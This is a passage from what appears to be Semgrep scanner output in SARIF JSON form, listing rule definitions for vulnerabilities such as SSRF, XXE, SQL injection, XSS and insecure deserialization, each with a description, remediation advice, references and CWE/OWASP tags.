tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities","id":"kotlin.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities","name":"kotlin.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gin.ssrf.gin-tainted-url-host.gin-tainted-url-host)\n - [https://goteleport.com/blog/ssrf-attacks/](https://goteleport.com/blog/ssrf-attacks/)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/go.gin.ssrf.gin-tainted-url-host.gin-tainted-url-host","id":"go.gin.ssrf.gin-tainted-url-host.gin-tainted-url-host","name":"go.gin.ssrf.gin-tainted-url-host.gin-tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: go.gin.ssrf.gin-tainted-url-host.gin-tainted-url-host"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Avoid using unsafe `ruamel.yaml.YAML()`. `ruamel.yaml.YAML` can create arbitrary Python objects. A malicious actor could exploit this to run arbitrary code. Use `YAML(typ='rt')` or `YAML(typ='safe')` instead."},"help":{"markdown":"Avoid using unsafe `ruamel.yaml.YAML()`. `ruamel.yaml.YAML` can create arbitrary Python objects. A malicious actor could exploit this to run arbitrary code. Use `YAML(typ='rt')` or `YAML(typ='safe')` instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.deserialization.avoid-unsafe-ruamel.avoid-unsafe-ruamel)\n - [https://yaml.readthedocs.io/en/latest/basicuse.html?highlight=typ](https://yaml.readthedocs.io/en/latest/basicuse.html?highlight=typ)\n","text":"Avoid using unsafe `ruamel.yaml.YAML()`. `ruamel.yaml.YAML` can create arbitrary Python objects. A malicious actor could exploit this to run arbitrary code. Use `YAML(typ='rt')` or `YAML(typ='safe')` instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.deserialization.avoid-unsafe-ruamel.avoid-unsafe-ruamel","id":"python.lang.security.deserialization.avoid-unsafe-ruamel.avoid-unsafe-ruamel","name":"python.lang.security.deserialization.avoid-unsafe-ruamel.avoid-unsafe-ruamel","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.deserialization.avoid-unsafe-ruamel.avoid-unsafe-ruamel"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'raw' renders raw HTML, as the name implies. This means that normal HTML escaping is bypassed. If user data can be controlled here, this exposes your application to cross-site scripting (XSS). If you need to do this, be sure to correctly sanitize the data using a library such as DOMPurify."},"help":{"markdown":"'raw' renders raw HTML, as the name implies. This means that normal HTML escaping is bypassed. If user data can be controlled here, this exposes your application to cross-site scripting (XSS). If you need to do this, be sure to correctly sanitize the data using a library such as DOMPurify.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.avoid-raw.avoid-raw)\n - [https://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html#:~:text===](https://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html#:~:text===)\n - [https://medium.com/sumone-technical-blog/a-pretty-way-to-unescape-html-in-a-ruby-on-rails-application-efc22b850027](https://medium.com/sumone-technical-blog/a-pretty-way-to-unescape-html-in-a-ruby-on-rails-application-efc22b850027)\n","text":"'raw' renders raw HTML, as the name implies. This means that normal HTML escaping is bypassed. If user data can be controlled here, this exposes your application to cross-site scripting (XSS). If you need to do this, be sure to correctly sanitize the data using a library such as DOMPurify."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.avoid-raw.avoid-raw","id":"ruby.rails.security.audit.xss.templates.avoid-raw.avoid-raw","name":"ruby.rails.security.audit.xss.templates.avoid-raw.avoid-raw","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.templates.avoid-raw.avoid-raw"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"AES symmetric cryptographic operations were identified using a key size of 128bit which is less than the industry standard recommendation of 256bit."},"help":{"markdown":"AES symmetric cryptographic operations were identified using a key size of 128bit which is less than the industry standard recommendation of 256bit.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-aes-keysize.insecure-crypto-aes-keysize)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"AES symmetric cryptographic operations were identified using a key size of 128bit which is less than the industry standard recommendation of 256bit."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-aes-keysize.insecure-crypto-aes-keysize","id":"swift.commoncrypto.insecure-crypto-aes-keysize.insecure-crypto-aes-keysize","name":"swift.commoncrypto.insecure-crypto-aes-keysize.insecure-crypto-aes-keysize","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-aes-keysize.insecure-crypto-aes-keysize"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected non-static command inside `...`. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside `...`. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.dangerous-subshell.dangerous-subshell)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static command inside `...`. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.dangerous-subshell.dangerous-subshell","id":"ruby.lang.security.dangerous-subshell.dangerous-subshell","name":"ruby.lang.security.dangerous-subshell.dangerous-subshell","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.dangerous-subshell.dangerous-subshell"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a SQL query based on user input. This could lead to SQL injection, which could potentially result in sensitive data being exfiltrated by attackers. Instead, use parameterized queries and prepared statements."},"help":{"markdown":"Detected a SQL query based on user input. This could lead to SQL injection, which could potentially result in sensitive data being exfiltrated by attackers. Instead, use parameterized queries and prepared statements.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-sql-injection.laravel-sql-injection)\n - [https://laravel.com/docs/8.x/queries](https://laravel.com/docs/8.x/queries)\n","text":"Detected a SQL query based on user input. This could lead to SQL injection, which could potentially result in sensitive data being exfiltrated by attackers. Instead, use parameterized queries and prepared statements."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-sql-injection.laravel-sql-injection","id":"php.laravel.security.laravel-sql-injection.laravel-sql-injection","name":"php.laravel.security.laravel-sql-injection.laravel-sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-sql-injection.laravel-sql-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.sql.postgres-taint.postgres-taint)\n - [https://docs.rs/postgres/latest/postgres/](https://docs.rs/postgres/latest/postgres/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.hyper.sql.postgres-taint.postgres-taint","id":"rust.hyper.sql.postgres-taint.postgres-taint","name":"rust.hyper.sql.postgres-taint.postgres-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.sql.postgres-taint.postgres-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a network listener listening on 0.0.0.0 or an empty string. This could unexpectedly expose the server publicly as it binds to all available interfaces. Instead, specify another IP address that is not 0.0.0.0 nor the empty string."},"help":{"markdown":"Detected a network listener listening on 0.0.0.0 or an empty string. This could unexpectedly expose the server publicly as it binds to all available interfaces. Instead, specify another IP address that is not 0.0.0.0 nor the empty string.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.bind_all.avoid-bind-to-all-interfaces)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Detected a network listener listening on 0.0.0.0 or an empty string. This could unexpectedly expose the server publicly as it binds to all available interfaces. Instead, specify another IP address that is not 0.0.0.0 nor the empty string."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.bind_all.avoid-bind-to-all-interfaces","id":"go.lang.security.audit.net.bind_all.avoid-bind-to-all-interfaces","name":"go.lang.security.audit.net.bind_all.avoid-bind-to-all-interfaces","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.bind_all.avoid-bind-to-all-interfaces"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"help":{"markdown":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.cookie-missing-httponly.cookie-missing-httponly)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.cookie-missing-httponly.cookie-missing-httponly","id":"kotlin.lang.security.cookie-missing-httponly.cookie-missing-httponly","name":"kotlin.lang.security.cookie-missing-httponly.cookie-missing-httponly","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.cookie-missing-httponly.cookie-missing-httponly"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected data rendered directly to the end user via 'response' This bypasses Laravel's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Laravel's template engine to safely render HTML."},"help":{"markdown":"Detected data rendered directly to the end user via 'response' This bypasses Laravel's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Laravel's template engine to safely render HTML.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-direct-response-write.laravel-direct-response-write)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#cross-site-scripting-xss](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#cross-site-scripting-xss)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.md](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.md)\n","text":"Detected data rendered directly to the end user via 'response' This bypasses Laravel's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Laravel's template engine to safely render HTML."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-direct-response-write.laravel-direct-response-write","id":"php.laravel.security.laravel-direct-response-write.laravel-direct-response-write","name":"php.laravel.security.laravel-direct-response-write.laravel-direct-response-write","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-direct-response-write.laravel-direct-response-write"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-unsafe-entity-loader.laravel-unsafe-entity-loader)\n - [https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html](https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html)\n - [https://www.php.net/libxml_disable_entity_loader](https://www.php.net/libxml_disable_entity_loader)\n - [https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php](https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-unsafe-entity-loader.laravel-unsafe-entity-loader","id":"php.laravel.security.laravel-unsafe-entity-loader.laravel-unsafe-entity-loader","name":"php.laravel.security.laravel-unsafe-entity-loader.laravel-unsafe-entity-loader","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-unsafe-entity-loader.laravel-unsafe-entity-loader"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found SameSiteNoneMode setting in Gorilla session options. Consider setting SameSite to Lax, Strict or Default for enhanced security."},"help":{"markdown":"Found SameSiteNoneMode setting in Gorilla session options. Consider setting SameSite to Lax, Strict or Default for enhanced security.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.security.audit.session-cookie-samesitenone.session-cookie-samesitenone)\n - [https://pkg.go.dev/github.com/gorilla/sessions#Options](https://pkg.go.dev/github.com/gorilla/sessions#Options)\n","text":"Found SameSiteNoneMode setting in Gorilla session options. Consider setting SameSite to Lax, Strict or Default for enhanced security."},"helpUri":"https://semgrep.dev/r/go.gorilla.security.audit.session-cookie-samesitenone.session-cookie-samesitenone","id":"go.gorilla.security.audit.session-cookie-samesitenone.session-cookie-samesitenone","name":"go.gorilla.security.audit.session-cookie-samesitenone.session-cookie-samesitenone","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.security.audit.session-cookie-samesitenone.session-cookie-samesitenone"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Resources in the AWS subnet are assigned a public IP address. Resources should not be exposed on the public internet, but should have access limited to consumers required for the function of your application. Set `map_public_ip_on_launch` to false so that resources are not publicly-accessible."},"help":{"markdown":"Resources in the AWS subnet are assigned a public IP address. Resources should not be exposed on the public internet, but should have access limited to consumers required for the function of your application. Set `map_public_ip_on_launch` to false so that resources are not publicly-accessible.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-subnet-has-public-ip-address.aws-subnet-has-public-ip-address)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control/](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/subnet#map_public_ip_on_launch](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/subnet#map_public_ip_on_launch)\n - [https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-instance-addressing.html#concepts-public-addresses](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-instance-addressing.html#concepts-public-addresses)\n","text":"Resources in the AWS subnet are assigned a public IP address. Resources should not be exposed on the public internet, but should have access limited to consumers required for the function of your application. Set `map_public_ip_on_launch` to false so that resources are not publicly-accessible."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-subnet-has-public-ip-address.aws-subnet-has-public-ip-address","id":"terraform.aws.security.aws-subnet-has-public-ip-address.aws-subnet-has-public-ip-address","name":"terraform.aws.security.aws-subnet-has-public-ip-address.aws-subnet-has-public-ip-address","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-subnet-has-public-ip-address.aws-subnet-has-public-ip-address"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.xss.xss)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"helpUri":"https://semgrep.dev/r/javascript.browser.xss.xss","id":"javascript.browser.xss.xss","name":"javascript.browser.xss.xss","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.xss.xss"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using a non-primitive class with Java RMI may be an insecure deserialization vulnerability. Depending on the underlying implementation. This object could be manipulated by a malicious actor allowing them to execute code on your system. Instead, use an integer ID to look up your object, or consider alternative serialization schemes such as JSON."},"help":{"markdown":"Using a non-primitive class with Java RMI may be an insecure deserialization vulnerability. Depending on the underlying implementation. This object could be manipulated by a malicious actor allowing them to execute code on your system. Instead, use an integer ID to look up your object, or consider alternative serialization schemes such as JSON.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.rmi.security.server-dangerous-class-deserialization.server-dangerous-class-deserialization)\n - [https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/](https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)\n","text":"Using a non-primitive class with Java RMI may be an insecure deserialization vulnerability. Depending on the underlying implementation. This object could be manipulated by a malicious actor allowing them to execute code on your system. Instead, use an integer ID to look up your object, or consider alternative serialization schemes such as JSON."},"helpUri":"https://semgrep.dev/r/java.rmi.security.server-dangerous-class-deserialization.server-dangerous-class-deserialization","id":"java.rmi.security.server-dangerous-class-deserialization.server-dangerous-class-deserialization","name":"java.rmi.security.server-dangerous-class-deserialization.server-dangerous-class-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.rmi.security.server-dangerous-class-deserialization.server-dangerous-class-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jose.security.jwt-none-alg.jwt-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"helpUri":"https://semgrep.dev/r/javascript.jose.security.jwt-none-alg.jwt-none-alg","id":"javascript.jose.security.jwt-none-alg.jwt-none-alg","name":"javascript.jose.security.jwt-none-alg.jwt-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jose.security.jwt-none-alg.jwt-none-alg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jjwt.security.jwt-none-alg.jjwt-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"helpUri":"https://semgrep.dev/r/java.jjwt.security.jwt-none-alg.jjwt-none-alg","id":"java.jjwt.security.jwt-none-alg.jjwt-none-alg","name":"java.jjwt.security.jwt-none-alg.jjwt-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.jjwt.security.jwt-none-alg.jjwt-none-alg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, 